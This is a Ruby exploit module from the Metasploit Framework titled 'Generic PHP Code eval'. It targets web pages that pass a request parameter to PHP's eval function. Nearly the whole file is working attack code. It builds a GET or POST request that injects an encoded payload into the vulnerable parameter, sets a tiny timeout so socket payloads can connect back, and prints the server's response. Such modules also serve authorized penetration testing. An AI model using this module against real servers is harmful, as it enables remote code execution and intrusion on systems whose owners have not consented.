| | 1 | ## |
|---|
| | 2 | # $Id: $ |
|---|
| | 3 | ## |
|---|
| | 4 | |
|---|
| | 5 | ## |
|---|
| | 6 | # This file is part of the Metasploit Framework and may be subject to |
|---|
| | 7 | # redistribution and commercial restrictions. Please see the Metasploit |
|---|
| | 8 | # Framework web site for more information on licensing and terms of use. |
|---|
| | 9 | # http://metasploit.com/projects/Framework/ |
|---|
| | 10 | ## |
|---|
| | 11 | |
|---|
| | 12 | |
|---|
| | 13 | require 'msf/core' |
|---|
| | 14 | |
|---|
| | 15 | module Msf |
|---|
| | 16 | |
|---|
| | 17 | class Exploits::Unix::Webapp::PHP_Eval < Msf::Exploit::Remote |
|---|
| | 18 | |
|---|
| | 19 | include Exploit::Remote::HttpClient |
|---|
| | 20 | |
|---|
| | 21 | def initialize(info = {}) |
|---|
| | 22 | super(update_info(info, |
|---|
| | 23 | 'Name' => 'Generic PHP Code eval', |
|---|
| | 24 | 'Description' => %q{ |
|---|
| | 25 | Exploits things like <?php eval($_REQUEST['evalme']); ?> |
|---|
| | 26 | }, |
|---|
| | 27 | 'Author' => 'egypt <egypt@nmt.edu>', |
|---|
| | 28 | 'License' => BSD_LICENSE, |
|---|
| | 29 | 'Version' => '$Revision: 0 $', |
|---|
| | 30 | 'References' => [ ], |
|---|
| | 31 | 'Privileged' => false, |
|---|
| | 32 | 'Platform' => ['php'], |
|---|
| | 33 | 'Payload' => { |
|---|
| | 34 | 'Space' => 10000, # arbitrarily chosen |
|---|
| | 35 | 'DisableNops' => true, |
|---|
| | 36 | 'BadChars' => "'\"", # quotes are escaped by PHP's magic_quotes_gpc in a default install |
|---|
| | 37 | 'Keys' => ['php'], |
|---|
| | 38 | }, |
|---|
| | 39 | 'Targets' => [ ['Automatic', { }], ], |
|---|
| | 40 | 'DefaultTarget' => 0 |
|---|
| | 41 | )) |
|---|
| | 42 | |
|---|
| | 43 | |
|---|
| | 44 | register_options( |
|---|
| | 45 | [ |
|---|
| | 46 | OptString.new('URIPATH', [ true, "The URI to request, with the eval parameter changed to !CODE!", '/eval.php?evalme=!CODE!']), |
|---|
| | 47 | OptBool.new('USE_POST', [ false, "Use POST method instead of GET", false]), |
|---|
| | 48 | OptString.new('USE_POST_VAR', [ false, "Variable name to use if we're sending a POST request", 'evalme']), |
|---|
| | 49 | ], self.class |
|---|
| | 50 | ) |
|---|
| | 51 | |
|---|
| | 52 | deregister_options( |
|---|
| | 53 | 'HTTP::junk_params', # not your typical POST, so don't inject params. |
|---|
| | 54 | 'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now. |
|---|
| | 55 | ) |
|---|
| | 56 | end |
|---|
| | 57 | |
|---|
| | 58 | def exploit |
|---|
| | 59 | # very short timeout because the request may never return if we're |
|---|
| | 60 | # sending a socket payload |
|---|
| | 61 | timeout = 0.01 |
|---|
| | 62 | if (datastore['USE_POST']) |
|---|
| | 63 | if !datastore['USE_POST_VAR'] |
|---|
| | 64 | raise RuntimeError, "USE_POST_VAR must be set to send POST request" |
|---|
| | 65 | end |
|---|
| | 66 | print_status("Sending POST request with payload:\n#{payload.encoded}") |
|---|
| | 67 | # it's post, so chop off all the get variables |
|---|
| | 68 | uri = datastore['URIPATH'].slice(0, datastore['URIPATH'].index("?")) |
|---|
| | 69 | response = send_request_cgi({ |
|---|
| | 70 | 'method' => 'POST', |
|---|
| | 71 | 'uri' => uri, |
|---|
| | 72 | 'vars_post' => {datastore['USE_POST_VAR'] => payload.encoded}, |
|---|
| | 73 | },timeout) |
|---|
| | 74 | else |
|---|
| | 75 | uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(payload.encoded)) |
|---|
| | 76 | print_status("Sending GET request for #{uri}") |
|---|
| | 77 | response = send_request_raw({ 'uri' => uri },timeout) |
|---|
| | 78 | end |
|---|
| | 79 | if (response) |
|---|
| | 80 | print_error(response) |
|---|
| | 81 | end |
|---|
| | 82 | end |
|---|
| | 83 | end |
|---|
| | 84 | end |